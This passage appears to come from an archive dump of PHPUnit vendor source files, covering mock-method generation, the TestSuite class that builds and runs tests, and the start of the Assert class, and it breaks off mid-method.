because the declared return type is an intersection'; $onlyInterfaces = true; foreach ($types as $type) { if (!interface_exists($type)) { $onlyInterfaces = false; break; } } if ($onlyInterfaces) { try { return (new Generator)->getMockForInterfaces($types); } catch (Throwable $t) { throw new RuntimeException( sprintf( 'Return value for %s::%s() cannot be generated: %s', $this->className, $this->methodName, $t->getMessage(), ), (int) $t->getCode(), ); } } } throw new RuntimeException( sprintf( 'Return value for %s::%s() cannot be generated%s, please configure a return value for this method', $this->className, $this->methodName, $reason ) ); } public function toString(): string { $exporter = new Exporter; return sprintf( '%s::%s(%s)%s', $this->className, $this->methodName, implode( ', ', array_map( [$exporter, 'shortenedExport'], $this->parameters ) ), $this->returnType ? sprintf(': %s', $this->returnType) : '' ); } public function getObject(): object { return $this->object; } private function cloneObject(object $original): object { if (Type::isCloneable($original)) { return clone $original; } return $original; } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/MockMethod.php000064400000030765147577714370023651 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use const DIRECTORY_SEPARATOR; use function explode; use function implode; use function is_object; use function is_string; use function preg_match; use function preg_replace; use function sprintf; use function strlen; use function strpos; use function substr; use function substr_count; use function trim; use function var_export; use ReflectionIntersectionType; use ReflectionMethod; use ReflectionNamedType; use ReflectionParameter; use ReflectionUnionType; use SebastianBergmann\Template\Exception as TemplateException; use SebastianBergmann\Template\Template; use SebastianBergmann\Type\ReflectionMapper; use SebastianBergmann\Type\Type; use SebastianBergmann\Type\UnknownType; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MockMethod { /** * @var Template[] */ private static $templates = []; /** * @var string */ private $className; /** * @var string */ private $methodName; /** * @var bool */ private $cloneArguments; /** * @var string string */ private $modifier; /** * @var string */ private $argumentsForDeclaration; /** * @var string */ private $argumentsForCall; /** * @var Type */ private $returnType; /** * @var string */ private $reference; /** * @var bool */ private $callOriginalMethod; /** * @var bool */ private $static; /** * @var ?string */ private $deprecation; /** * @throws ReflectionException * @throws RuntimeException */ public static function fromReflection(ReflectionMethod $method, bool $callOriginalMethod, bool $cloneArguments): self { if ($method->isPrivate()) { $modifier = 'private'; } elseif ($method->isProtected()) { $modifier = 'protected'; } else { $modifier = 'public'; } if ($method->isStatic()) { $modifier .= ' static'; } if ($method->returnsReference()) { $reference = '&'; } else { $reference = ''; } $docComment = $method->getDocComment(); if (is_string($docComment) && preg_match('#\*[ \t]*+@deprecated[ \t]*+(.*?)\r?+\n[ \t]*+\*(?:[ \t]*+@|/$)#s', $docComment, $deprecation)) { $deprecation = trim(preg_replace('#[ \t]*\r?\n[ \t]*+\*[ \t]*+#', ' ', $deprecation[1])); } else { $deprecation = null; } return new self( $method->getDeclaringClass()->getName(), $method->getName(), $cloneArguments, $modifier, self::getMethodParametersForDeclaration($method), self::getMethodParametersForCall($method), (new ReflectionMapper)->fromReturnType($method), $reference, $callOriginalMethod, $method->isStatic(), $deprecation ); } public static function fromName(string $fullClassName, string $methodName, bool $cloneArguments): self { return new self( $fullClassName, $methodName, $cloneArguments, 'public', '', '', new UnknownType, '', false, false, null ); } public function __construct(string $className, string $methodName, bool $cloneArguments, string $modifier, string $argumentsForDeclaration, string $argumentsForCall, Type $returnType, string $reference, bool $callOriginalMethod, bool $static, ?string $deprecation) { $this->className = $className; $this->methodName = $methodName; $this->cloneArguments = $cloneArguments; $this->modifier = $modifier; $this->argumentsForDeclaration = $argumentsForDeclaration; $this->argumentsForCall = $argumentsForCall; $this->returnType = $returnType; $this->reference = $reference; $this->callOriginalMethod = $callOriginalMethod; $this->static = $static; $this->deprecation = $deprecation; } public function getName(): string { return $this->methodName; } /** * @throws RuntimeException */ public function generateCode(): string { if ($this->static) { $templateFile = 'mocked_static_method.tpl'; } elseif ($this->returnType->isNever() || $this->returnType->isVoid()) { $templateFile = sprintf( '%s_method_never_or_void.tpl', $this->callOriginalMethod ? 'proxied' : 'mocked' ); } else { $templateFile = sprintf( '%s_method.tpl', $this->callOriginalMethod ? 'proxied' : 'mocked' ); } $deprecation = $this->deprecation; if (null !== $this->deprecation) { $deprecation = "The {$this->className}::{$this->methodName} method is deprecated ({$this->deprecation})."; $deprecationTemplate = $this->getTemplate('deprecation.tpl'); $deprecationTemplate->setVar( [ 'deprecation' => var_export($deprecation, true), ] ); $deprecation = $deprecationTemplate->render(); } $template = $this->getTemplate($templateFile); $template->setVar( [ 'arguments_decl' => $this->argumentsForDeclaration, 'arguments_call' => $this->argumentsForCall, 'return_declaration' => !empty($this->returnType->asString()) ? (': ' . $this->returnType->asString()) : '', 'return_type' => $this->returnType->asString(), 'arguments_count' => !empty($this->argumentsForCall) ? substr_count($this->argumentsForCall, ',') + 1 : 0, 'class_name' => $this->className, 'method_name' => $this->methodName, 'modifier' => $this->modifier, 'reference' => $this->reference, 'clone_arguments' => $this->cloneArguments ? 'true' : 'false', 'deprecation' => $deprecation, ] ); return $template->render(); } public function getReturnType(): Type { return $this->returnType; } /** * @throws RuntimeException */ private function getTemplate(string $template): Template { $filename = __DIR__ . DIRECTORY_SEPARATOR . 'Generator' . DIRECTORY_SEPARATOR . $template; if (!isset(self::$templates[$filename])) { try { self::$templates[$filename] = new Template($filename); } catch (TemplateException $e) { throw new RuntimeException( $e->getMessage(), (int) $e->getCode(), $e ); } } return self::$templates[$filename]; } /** * Returns the parameters of a function or method. * * @throws RuntimeException */ private static function getMethodParametersForDeclaration(ReflectionMethod $method): string { $parameters = []; foreach ($method->getParameters() as $i => $parameter) { $name = '$' . $parameter->getName(); /* Note: PHP extensions may use empty names for reference arguments * or "..." for methods taking a variable number of arguments. */ if ($name === '$' || $name === '$...') { $name = '$arg' . $i; } $nullable = ''; $default = ''; $reference = ''; $typeDeclaration = ''; $type = null; $typeName = null; if ($parameter->hasType()) { $type = $parameter->getType(); if ($type instanceof ReflectionNamedType) { $typeName = $type->getName(); } } if ($parameter->isVariadic()) { $name = '...' . $name; } elseif ($parameter->isDefaultValueAvailable()) { $default = ' = ' . self::exportDefaultValue($parameter); } elseif ($parameter->isOptional()) { $default = ' = null'; } if ($type !== null) { if ($typeName !== 'mixed' && $parameter->allowsNull() && !$type instanceof ReflectionIntersectionType && !$type instanceof ReflectionUnionType) { $nullable = '?'; } if ($typeName === 'self') { $typeDeclaration = $method->getDeclaringClass()->getName() . ' '; } elseif ($typeName !== null) { $typeDeclaration = $typeName . ' '; } elseif ($type instanceof ReflectionUnionType) { $typeDeclaration = self::unionTypeAsString( $type, $method->getDeclaringClass()->getName() ); } elseif ($type instanceof ReflectionIntersectionType) { $typeDeclaration = self::intersectionTypeAsString($type); } } if ($parameter->isPassedByReference()) { $reference = '&'; } $parameters[] = $nullable . $typeDeclaration . $reference . $name . $default; } return implode(', ', $parameters); } /** * Returns the parameters of a function or method. * * @throws ReflectionException */ private static function getMethodParametersForCall(ReflectionMethod $method): string { $parameters = []; foreach ($method->getParameters() as $i => $parameter) { $name = '$' . $parameter->getName(); /* Note: PHP extensions may use empty names for reference arguments * or "..." for methods taking a variable number of arguments. */ if ($name === '$' || $name === '$...') { $name = '$arg' . $i; } if ($parameter->isVariadic()) { continue; } if ($parameter->isPassedByReference()) { $parameters[] = '&' . $name; } else { $parameters[] = $name; } } return implode(', ', $parameters); } /** * @throws ReflectionException */ private static function exportDefaultValue(ReflectionParameter $parameter): string { try { $defaultValue = $parameter->getDefaultValue(); if (!is_object($defaultValue)) { return (string) var_export($defaultValue, true); } $parameterAsString = $parameter->__toString(); return (string) explode( ' = ', substr( substr( $parameterAsString, strpos($parameterAsString, ' ') + strlen(' ') ), 0, -2 ) )[1]; // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } private static function unionTypeAsString(ReflectionUnionType $union, string $self): string { $types = []; foreach ($union->getTypes() as $type) { if ((string) $type === 'self') { $types[] = $self; } else { $types[] = $type; } } return implode('|', $types) . ' '; } private static function intersectionTypeAsString(ReflectionIntersectionType $intersection): string { $types = []; foreach ($intersection->getTypes() as $type) { $types[] = $type; } return implode('&', $types) . ' '; } } res/readability/vendor/phpunit/phpunit/src/Framework/MockObject/Stub.php000064400000001364147577714370022525 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use PHPUnit\Framework\MockObject\Builder\InvocationStubber; /** * @method InvocationStubber method($constraint) * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface Stub { public function __phpunit_getInvocationHandler(): InvocationHandler; public function __phpunit_hasMatchers(): bool; public function __phpunit_setReturnValueGeneration(bool $returnValueGeneration): void; } res/readability/vendor/phpunit/phpunit/src/Framework/SkippedTest.php000064400000000670147577714370022026 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface SkippedTest extends Throwable { } res/readability/vendor/phpunit/phpunit/src/Framework/TestSuite.php000064400000063536147577714370021532 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use const PHP_EOL; use function array_keys; use function array_map; use function array_merge; use function array_unique; use function basename; use function call_user_func; use function class_exists; use function count; use function dirname; use function get_declared_classes; use function implode; use function is_bool; use function is_callable; use function is_file; use function is_object; use function is_string; use function method_exists; use function preg_match; use function preg_quote; use function sprintf; use function strpos; use function substr; use Iterator; use IteratorAggregate; use PHPUnit\Runner\BaseTestRunner; use PHPUnit\Runner\Filter\Factory; use PHPUnit\Runner\PhptTestCase; use PHPUnit\Util\FileLoader; use PHPUnit\Util\Test as TestUtil; use ReflectionClass; use ReflectionException; use ReflectionMethod; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ class TestSuite implements IteratorAggregate, Reorderable, SelfDescribing, Test { /** * Enable or disable the backup and restoration of the $GLOBALS array. * * @var bool */ protected $backupGlobals; /** * Enable or disable the backup and restoration of static attributes. * * @var bool */ protected $backupStaticAttributes; /** * @var bool */ protected $runTestInSeparateProcess = false; /** * The name of the test suite. * * @var string */ protected $name = ''; /** * The test groups of the test suite. * * @psalm-var array> */ protected $groups = []; /** * The tests in the test suite. * * @var Test[] */ protected $tests = []; /** * The number of tests in the test suite. * * @var int */ protected $numTests = -1; /** * @var bool */ protected $testCase = false; /** * @var string[] */ protected $foundClasses = []; /** * @var null|list */ protected $providedTests; /** * @var null|list */ protected $requiredTests; /** * @var bool */ private $beStrictAboutChangesToGlobalState; /** * @var Factory */ private $iteratorFilter; /** * @var int */ private $declaredClassesPointer; /** * @psalm-var array */ private $warnings = []; /** * Constructs a new TestSuite. * * - PHPUnit\Framework\TestSuite() constructs an empty TestSuite. * * - PHPUnit\Framework\TestSuite(ReflectionClass) constructs a * TestSuite from the given class. * * - PHPUnit\Framework\TestSuite(ReflectionClass, String) * constructs a TestSuite from the given class with the given * name. * * - PHPUnit\Framework\TestSuite(String) either constructs a * TestSuite from the given class (if the passed string is the * name of an existing class) or constructs an empty TestSuite * with the given name. * * @param ReflectionClass|string $theClass * * @throws Exception */ public function __construct($theClass = '', string $name = '') { if (!is_string($theClass) && !$theClass instanceof ReflectionClass) { throw InvalidArgumentException::create( 1, 'ReflectionClass object or string' ); } $this->declaredClassesPointer = count(get_declared_classes()); if (!$theClass instanceof ReflectionClass) { if (class_exists($theClass, true)) { if ($name === '') { $name = $theClass; } try { $theClass = new ReflectionClass($theClass); } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } else { $this->setName($theClass); return; } } if (!$theClass->isSubclassOf(TestCase::class)) { $this->setName((string) $theClass); return; } if ($name !== '') { $this->setName($name); } else { $this->setName($theClass->getName()); } $constructor = $theClass->getConstructor(); if ($constructor !== null && !$constructor->isPublic()) { $this->addTest( new WarningTestCase( sprintf( 'Class "%s" has no public constructor.', $theClass->getName() ) ) ); return; } foreach ($theClass->getMethods() as $method) { if ($method->getDeclaringClass()->getName() === Assert::class) { continue; } if ($method->getDeclaringClass()->getName() === TestCase::class) { continue; } if (!TestUtil::isTestMethod($method)) { continue; } $this->addTestMethod($theClass, $method); } if (empty($this->tests)) { $this->addTest( new WarningTestCase( sprintf( 'No tests found in class "%s".', $theClass->getName() ) ) ); } $this->testCase = true; } /** * Returns a string representation of the test suite. */ public function toString(): string { return $this->getName(); } /** * Adds a test to the suite. * * @param array $groups */ public function addTest(Test $test, $groups = []): void { try { $class = new ReflectionClass($test); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd if (!$class->isAbstract()) { $this->tests[] = $test; $this->clearCaches(); if ($test instanceof self && empty($groups)) { $groups = $test->getGroups(); } if ($this->containsOnlyVirtualGroups($groups)) { $groups[] = 'default'; } foreach ($groups as $group) { if (!isset($this->groups[$group])) { $this->groups[$group] = [$test]; } else { $this->groups[$group][] = $test; } } if ($test instanceof TestCase) { $test->setGroups($groups); } } } /** * Adds the tests from the given class to the suite. * * @psalm-param object|class-string $testClass * * @throws Exception */ public function addTestSuite($testClass): void { if (!(is_object($testClass) || (is_string($testClass) && class_exists($testClass)))) { throw InvalidArgumentException::create( 1, 'class name or object' ); } if (!is_object($testClass)) { try { $testClass = new ReflectionClass($testClass); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } if ($testClass instanceof self) { $this->addTest($testClass); } elseif ($testClass instanceof ReflectionClass) { $suiteMethod = false; if (!$testClass->isAbstract() && $testClass->hasMethod(BaseTestRunner::SUITE_METHODNAME)) { try { $method = $testClass->getMethod( BaseTestRunner::SUITE_METHODNAME ); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd if ($method->isStatic()) { $this->addTest( $method->invoke(null, $testClass->getName()) ); $suiteMethod = true; } } if (!$suiteMethod && !$testClass->isAbstract() && $testClass->isSubclassOf(TestCase::class)) { $this->addTest(new self($testClass)); } } else { throw new Exception; } } public function addWarning(string $warning): void { $this->warnings[] = $warning; } /** * Wraps both addTest() and addTestSuite * as well as the separate import statements for the user's convenience. * * If the named file cannot be read or there are no new tests that can be * added, a PHPUnit\Framework\WarningTestCase will be created instead, * leaving the current test run untouched. * * @throws Exception */ public function addTestFile(string $filename): void { if (is_file($filename) && substr($filename, -5) === '.phpt') { $this->addTest(new PhptTestCase($filename)); $this->declaredClassesPointer = count(get_declared_classes()); return; } $numTests = count($this->tests); // The given file may contain further stub classes in addition to the // test class itself. Figure out the actual test class. $filename = FileLoader::checkAndLoad($filename); $newClasses = array_slice(get_declared_classes(), $this->declaredClassesPointer); // The diff is empty in case a parent class (with test methods) is added // AFTER a child class that inherited from it. To account for that case, // accumulate all discovered classes, so the parent class may be found in // a later invocation. if (!empty($newClasses)) { // On the assumption that test classes are defined first in files, // process discovered classes in approximate LIFO order, so as to // avoid unnecessary reflection. $this->foundClasses = array_merge($newClasses, $this->foundClasses); $this->declaredClassesPointer = count(get_declared_classes()); } // The test class's name must match the filename, either in full, or as // a PEAR/PSR-0 prefixed short name ('NameSpace_ShortName'), or as a // PSR-1 local short name ('NameSpace\ShortName'). The comparison must be // anchored to prevent false-positive matches (e.g., 'OtherShortName'). $shortName = basename($filename, '.php'); $shortNameRegEx = '/(?:^|_|\\\\)' . preg_quote($shortName, '/') . '$/'; foreach ($this->foundClasses as $i => $className) { if (preg_match($shortNameRegEx, $className)) { try { $class = new ReflectionClass($className); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd if ($class->getFileName() == $filename) { $newClasses = [$className]; unset($this->foundClasses[$i]); break; } } } foreach ($newClasses as $className) { try { $class = new ReflectionClass($className); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd if (dirname($class->getFileName()) === __DIR__) { continue; } if (!$class->isAbstract()) { if ($class->hasMethod(BaseTestRunner::SUITE_METHODNAME)) { try { $method = $class->getMethod( BaseTestRunner::SUITE_METHODNAME ); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd if ($method->isStatic()) { $this->addTest($method->invoke(null, $className)); } } elseif ($class->implementsInterface(Test::class)) { $expectedClassName = $shortName; if (($pos = strpos($expectedClassName, '.')) !== false) { $expectedClassName = substr( $expectedClassName, 0, $pos ); } if ($class->getShortName() !== $expectedClassName) { $this->addWarning( sprintf( "Test case class not matching filename is deprecated\n in %s\n Class name was '%s', expected '%s'", $filename, $class->getShortName(), $expectedClassName ) ); } $this->addTestSuite($class); } } } if (count($this->tests) > ++$numTests) { $this->addWarning( sprintf( "Multiple test case classes per file is deprecated\n in %s", $filename ) ); } $this->numTests = -1; } /** * Wrapper for addTestFile() that adds multiple test files. * * @throws Exception */ public function addTestFiles(iterable $fileNames): void { foreach ($fileNames as $filename) { $this->addTestFile((string) $filename); } } /** * Counts the number of test cases that will be run by this test. * * @todo refactor usage of numTests in DefaultResultPrinter */ public function count(): int { $this->numTests = 0; foreach ($this as $test) { $this->numTests += count($test); } return $this->numTests; } /** * Returns the name of the suite. */ public function getName(): string { return $this->name; } /** * Returns the test groups of the suite. * * @psalm-return list */ public function getGroups(): array { return array_map( static function ($key): string { return (string) $key; }, array_keys($this->groups) ); } public function getGroupDetails(): array { return $this->groups; } /** * Set tests groups of the test case. */ public function setGroupDetails(array $groups): void { $this->groups = $groups; } /** * Runs the tests and collects their result in a TestResult. * * @throws \PHPUnit\Framework\CodeCoverageException * @throws \SebastianBergmann\CodeCoverage\InvalidArgumentException * @throws \SebastianBergmann\CodeCoverage\UnintentionallyCoveredCodeException * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Warning */ public function run(TestResult $result = null): TestResult { if ($result === null) { $result = $this->createResult(); } if (count($this) === 0) { return $result; } /** @psalm-var class-string $className */ $className = $this->name; $hookMethods = TestUtil::getHookMethods($className); $result->startTestSuite($this); $test = null; if ($this->testCase && class_exists($this->name, false)) { try { foreach ($hookMethods['beforeClass'] as $beforeClassMethod) { if (method_exists($this->name, $beforeClassMethod)) { if ($missingRequirements = TestUtil::getMissingRequirements($this->name, $beforeClassMethod)) { $this->markTestSuiteSkipped(implode(PHP_EOL, $missingRequirements)); } call_user_func([$this->name, $beforeClassMethod]); } } } catch (SkippedTestSuiteError $error) { foreach ($this->tests() as $test) { $result->startTest($test); $result->addFailure($test, $error, 0); $result->endTest($test, 0); } $result->endTestSuite($this); return $result; } catch (Throwable $t) { $errorAdded = false; foreach ($this->tests() as $test) { if ($result->shouldStop()) { break; } $result->startTest($test); if (!$errorAdded) { $result->addError($test, $t, 0); $errorAdded = true; } else { $result->addFailure( $test, new SkippedTestError('Test skipped because of an error in hook method'), 0 ); } $result->endTest($test, 0); } $result->endTestSuite($this); return $result; } } foreach ($this as $test) { if ($result->shouldStop()) { break; } if ($test instanceof TestCase || $test instanceof self) { $test->setBeStrictAboutChangesToGlobalState($this->beStrictAboutChangesToGlobalState); $test->setBackupGlobals($this->backupGlobals); $test->setBackupStaticAttributes($this->backupStaticAttributes); $test->setRunTestInSeparateProcess($this->runTestInSeparateProcess); } $test->run($result); } if ($this->testCase && class_exists($this->name, false)) { foreach ($hookMethods['afterClass'] as $afterClassMethod) { if (method_exists($this->name, $afterClassMethod)) { try { call_user_func([$this->name, $afterClassMethod]); } catch (Throwable $t) { $message = "Exception in {$this->name}::{$afterClassMethod}" . PHP_EOL . $t->getMessage(); $error = new SyntheticError($message, 0, $t->getFile(), $t->getLine(), $t->getTrace()); $placeholderTest = clone $test; $placeholderTest->setName($afterClassMethod); $result->startTest($placeholderTest); $result->addFailure($placeholderTest, $error, 0); $result->endTest($placeholderTest, 0); } } } } $result->endTestSuite($this); return $result; } public function setRunTestInSeparateProcess(bool $runTestInSeparateProcess): void { $this->runTestInSeparateProcess = $runTestInSeparateProcess; } public function setName(string $name): void { $this->name = $name; } /** * Returns the tests as an enumeration. * * @return Test[] */ public function tests(): array { return $this->tests; } /** * Set tests of the test suite. * * @param Test[] $tests */ public function setTests(array $tests): void { $this->tests = $tests; } /** * Mark the test suite as skipped. * * @param string $message * * @throws SkippedTestSuiteError * * @psalm-return never-return */ public function markTestSuiteSkipped($message = ''): void { throw new SkippedTestSuiteError($message); } /** * @param bool $beStrictAboutChangesToGlobalState */ public function setBeStrictAboutChangesToGlobalState($beStrictAboutChangesToGlobalState): void { if (null === $this->beStrictAboutChangesToGlobalState && is_bool($beStrictAboutChangesToGlobalState)) { $this->beStrictAboutChangesToGlobalState = $beStrictAboutChangesToGlobalState; } } /** * @param bool $backupGlobals */ public function setBackupGlobals($backupGlobals): void { if (null === $this->backupGlobals && is_bool($backupGlobals)) { $this->backupGlobals = $backupGlobals; } } /** * @param bool $backupStaticAttributes */ public function setBackupStaticAttributes($backupStaticAttributes): void { if (null === $this->backupStaticAttributes && is_bool($backupStaticAttributes)) { $this->backupStaticAttributes = $backupStaticAttributes; } } /** * Returns an iterator for this test suite. */ public function getIterator(): Iterator { $iterator = new TestSuiteIterator($this); if ($this->iteratorFilter !== null) { $iterator = $this->iteratorFilter->factory($iterator, $this); } return $iterator; } public function injectFilter(Factory $filter): void { $this->iteratorFilter = $filter; foreach ($this as $test) { if ($test instanceof self) { $test->injectFilter($filter); } } } /** * @psalm-return array */ public function warnings(): array { return array_unique($this->warnings); } /** * @return list */ public function provides(): array { if ($this->providedTests === null) { $this->providedTests = []; if (is_callable($this->sortId(), true)) { $this->providedTests[] = new ExecutionOrderDependency($this->sortId()); } foreach ($this->tests as $test) { if (!($test instanceof Reorderable)) { // @codeCoverageIgnoreStart continue; // @codeCoverageIgnoreEnd } $this->providedTests = ExecutionOrderDependency::mergeUnique($this->providedTests, $test->provides()); } } return $this->providedTests; } /** * @return list */ public function requires(): array { if ($this->requiredTests === null) { $this->requiredTests = []; foreach ($this->tests as $test) { if (!($test instanceof Reorderable)) { // @codeCoverageIgnoreStart continue; // @codeCoverageIgnoreEnd } $this->requiredTests = ExecutionOrderDependency::mergeUnique( ExecutionOrderDependency::filterInvalid($this->requiredTests), $test->requires() ); } $this->requiredTests = ExecutionOrderDependency::diff($this->requiredTests, $this->provides()); } return $this->requiredTests; } public function sortId(): string { return $this->getName() . '::class'; } /** * Creates a default TestResult object. */ protected function createResult(): TestResult { return new TestResult; } /** * @throws Exception */ protected function addTestMethod(ReflectionClass $class, ReflectionMethod $method): void { $methodName = $method->getName(); $test = (new TestBuilder)->build($class, $methodName); if ($test instanceof TestCase || $test instanceof DataProviderTestSuite) { $test->setDependencies( TestUtil::getDependencies($class->getName(), $methodName) ); } $this->addTest( $test, TestUtil::getGroups($class->getName(), $methodName) ); } private function clearCaches(): void { $this->numTests = -1; $this->providedTests = null; $this->requiredTests = null; } private function containsOnlyVirtualGroups(array $groups): bool { foreach ($groups as $group) { if (strpos($group, '__phpunit_') !== 0) { return false; } } return true; } } res/readability/vendor/phpunit/phpunit/src/Framework/Assert.php000064400000260426147577714370021037 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use const DEBUG_BACKTRACE_IGNORE_ARGS; use const PHP_EOL; use function array_shift; use function array_unshift; use function assert; use function class_exists; use function count; use function debug_backtrace; use function explode; use function file_get_contents; use function func_get_args; use function implode; use function interface_exists; use function is_array; use function is_bool; use function is_int; use function is_iterable; use function is_object; use function is_string; use function preg_match; use function preg_split; use function sprintf; use function strpos; use ArrayAccess; use Countable; use DOMAttr; use DOMDocument; use DOMElement; use PHPUnit\Framework\Constraint\ArrayHasKey; use PHPUnit\Framework\Constraint\Callback; use PHPUnit\Framework\Constraint\ClassHasAttribute; use PHPUnit\Framework\Constraint\ClassHasStaticAttribute; use PHPUnit\Framework\Constraint\Constraint; use PHPUnit\Framework\Constraint\Count; use PHPUnit\Framework\Constraint\DirectoryExists; use PHPUnit\Framework\Constraint\FileExists; use PHPUnit\Framework\Constraint\GreaterThan; use PHPUnit\Framework\Constraint\IsAnything; use PHPUnit\Framework\Constraint\IsEmpty; use PHPUnit\Framework\Constraint\IsEqual; use PHPUnit\Framework\Constraint\IsEqualCanonicalizing; use PHPUnit\Framework\Constraint\IsEqualIgnoringCase; use PHPUnit\Framework\Constraint\IsEqualWithDelta; use PHPUnit\Framework\Constraint\IsFalse; use PHPUnit\Framework\Constraint\IsFinite; use PHPUnit\Framework\Constraint\IsIdentical; use PHPUnit\Framework\Constraint\IsInfinite; use PHPUnit\Framework\Constraint\IsInstanceOf; use PHPUnit\Framework\Constraint\IsJson; use PHPUnit\Framework\Constraint\IsNan; use PHPUnit\Framework\Constraint\IsNull; use PHPUnit\Framework\Constraint\IsReadable; use PHPUnit\Framework\Constraint\IsTrue; use PHPUnit\Framework\Constraint\IsType; use PHPUnit\Framework\Constraint\IsWritable; use PHPUnit\Framework\Constraint\JsonMatches; use PHPUnit\Framework\Constraint\LessThan; use PHPUnit\Framework\Constraint\LogicalAnd; use PHPUnit\Framework\Constraint\LogicalNot; use PHPUnit\Framework\Constraint\LogicalOr; use PHPUnit\Framework\Constraint\LogicalXor; use PHPUnit\Framework\Constraint\ObjectEquals; use PHPUnit\Framework\Constraint\ObjectHasAttribute; use PHPUnit\Framework\Constraint\RegularExpression; use PHPUnit\Framework\Constraint\SameSize; use PHPUnit\Framework\Constraint\StringContains; use PHPUnit\Framework\Constraint\StringEndsWith; use PHPUnit\Framework\Constraint\StringMatchesFormatDescription; use PHPUnit\Framework\Constraint\StringStartsWith; use PHPUnit\Framework\Constraint\TraversableContainsEqual; use PHPUnit\Framework\Constraint\TraversableContainsIdentical; use PHPUnit\Framework\Constraint\TraversableContainsOnly; use PHPUnit\Util\Type; use PHPUnit\Util\Xml; use PHPUnit\Util\Xml\Loader as XmlLoader; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ abstract class Assert { /** * @var int */ private static $count = 0; /** * Asserts that an array has a specified key. * * @param int|string $key * @param array|ArrayAccess $array * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * @throws ExpectationFailedException */ public static function assertArrayHasKey($key, $array, string $message = ''): void { if (!(is_int($key) || is_string($key))) { throw InvalidArgumentException::create( 1, 'integer or string' ); } if (!(is_array($array) || $array instanceof ArrayAccess)) { throw InvalidArgumentException::create( 2, 'array or ArrayAccess' ); } $constraint = new ArrayHasKey($key); static::assertThat($array, $constraint, $message); } /** * Asserts that an array does not have a specified key. * * @param int|string $key * @param array|ArrayAccess $array * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * @throws ExpectationFailedException */ public static function assertArrayNotHasKey($key, $array, string $message = ''): void { if (!(is_int($key) || is_string($key))) { throw InvalidArgumentException::create( 1, 'integer or string' ); } if (!(is_array($array) || $array instanceof ArrayAccess)) { throw InvalidArgumentException::create( 2, 'array or ArrayAccess' ); } $constraint = new LogicalNot( new ArrayHasKey($key) ); static::assertThat($array, $constraint, $message); } /** * Asserts that a haystack contains a needle. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * @throws ExpectationFailedException */ public static function assertContains($needle, iterable $haystack, string $message = ''): void { $constraint = new TraversableContainsIdentical($needle); static::assertThat($haystack, $constraint, $message); } public static function assertContainsEquals($needle, iterable $haystack, string $message = ''): void { $constraint = new TraversableContainsEqual($needle); static::assertThat($haystack, $constraint, $message); } /** * Asserts that a haystack does not contain a needle. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * @throws ExpectationFailedException */ public static function assertNotContains($needle, iterable $haystack, string $message = ''): void { $constraint = new LogicalNot( new TraversableContainsIdentical($needle) ); static::assertThat($haystack, $constraint, $message); } public static function assertNotContainsEquals($needle, iterable $haystack, string $message = ''): void { $constraint = new LogicalNot(new TraversableContainsEqual($needle)); static::assertThat($haystack, $constraint, $message); } /** * Asserts that a haystack contains only values of a given type. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertContainsOnly(string $type, iterable $haystack, ?bool $isNativeType = null, string $message = ''): void { if ($isNativeType === null) { $isNativeType = Type::isType($type); } static::assertThat( $haystack, new TraversableContainsOnly( $type, $isNativeType ), $message ); } /** * Asserts that a haystack contains only instances of a given class name. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertContainsOnlyInstancesOf(string $className, iterable $haystack, string $message = ''): void { static::assertThat( $haystack, new TraversableContainsOnly( $className, false ), $message ); } /** * Asserts that a haystack does not contain only values of a given type. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertNotContainsOnly(string $type, iterable $haystack, ?bool $isNativeType = null, string $message = ''): void { if ($isNativeType === null) { $isNativeType = Type::isType($type); } static::assertThat( $haystack, new LogicalNot( new TraversableContainsOnly( $type, $isNativeType ) ), $message ); } /** * Asserts the number of elements of an array, Countable or Traversable. * * @param Countable|iterable $haystack * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * @throws ExpectationFailedException */ public static function assertCount(int $expectedCount, $haystack, string $message = ''): void { if (!$haystack instanceof Countable && !is_iterable($haystack)) { throw InvalidArgumentException::create(2, 'countable or iterable'); } static::assertThat( $haystack, new 